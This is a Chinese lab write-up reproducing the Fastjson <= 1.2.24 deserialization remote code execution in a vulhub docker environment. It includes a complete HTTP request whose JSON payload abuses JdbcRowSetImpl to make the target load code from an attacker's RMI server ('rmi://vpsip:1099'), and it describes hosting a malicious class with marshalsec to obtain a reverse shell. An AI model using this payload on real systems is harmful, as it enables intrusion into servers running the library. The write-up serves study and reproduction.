前言
Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。具有执行效率高的特点,应用范围广泛。
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
利用版本: fastjson <= 1.2.24
漏洞环境搭建
使用docker和vulhub搭建漏洞环境。需要提前在本地安装docker,windows可以安装Docker Desktop,Linux直接安装Docker就可以了,vulhub提供了漏洞的docker-compose可以一键搭建漏洞环境,非常方便。将vulhub拉取到本地之后,进入fastjson目录的1.2.24目录下。可以看到有docker-compose.yml。
直接运行docker-compose up -d即可后台运行漏洞环境(需要等待一小段时间搭建环境)。
这时候我们输入docker ps就可以查看到我们创建的一个容器了,fastjson就在里面运行着。
PORTS字段可以看到docker把容器内的8090端口也映射到了本地的8090端口。现在只需要访问本地的8090端口就可以访问到了。
漏洞利用复现
处理json时发生反序列化
需要注意:对127.0.0.1的访问可能不会经过代理,这时候只要ipconfig,查看本地的ip来访问。
使用burpsuite抓取请求包。
修改为POST方式,把内容类型改成application/json,并且发现发送age和name去可以指定回显的json。
说明我们的json经过处理了。Fastjson提供了反序列化功能,允许用户在输入JSON串时通过"@type"键对应的value指定任意反序列化类名。并且Fastjson在反射地生成我们指定的类的实例化对象时,还会自动调用该对象的setter方法及部分getter方法。
我们payload这里反序列化了一个com.sun.rowset.JdbcRowSetImpl的类,在反射的过程中,调用了lookup方法,而lookup的参数可以通过"dataSourceName"键对应的value指定,这就可以进行JNDI注入。Fastjson1.2.25版本新增了checkAutoType方法,设置了autotype开关,对@type字段进行限制。如果autotype开关关闭,则无法从@type字段传入类进行jndi攻击。
JNDI注入
接下来直接使用JNDI攻击就可以了,可以自行编写恶意类,然后通过假设rmi服务或者ldap来攻击,也可以直接在github上找到jndi注入的方便搭建恶意rmi或者ldap服务的工具,这里需要目标在网络上能够访问到这台服务器。
POST / HTTP/1.1
Host: 靶机url
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 160
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://vpsip:1099/9cf4ag",
"autoCommit":true
}
}
进入docker查看创建文件成功,即远程命令执行成功。(进入容器的命令docker exec -i -t <容器name> /bin/sh,windows可以直接图形界面进去,很方便)
反弹shell
写一个恶意类evil.java,编译完之后放到web根目录,可以通过80端口访问到这个evil.class
然后启动marshalsec一键搭建rmi服务器(github上下载),监听9999端口。
发送payload
VPS成功接收到反弹shell。
同理ldap也可以。
总结
上文只是复现了一下漏洞,并且简单记录了一下如何攻击,payload的构成,有时间可以深入的分析一下代码,学习一下该反序列化链的流程。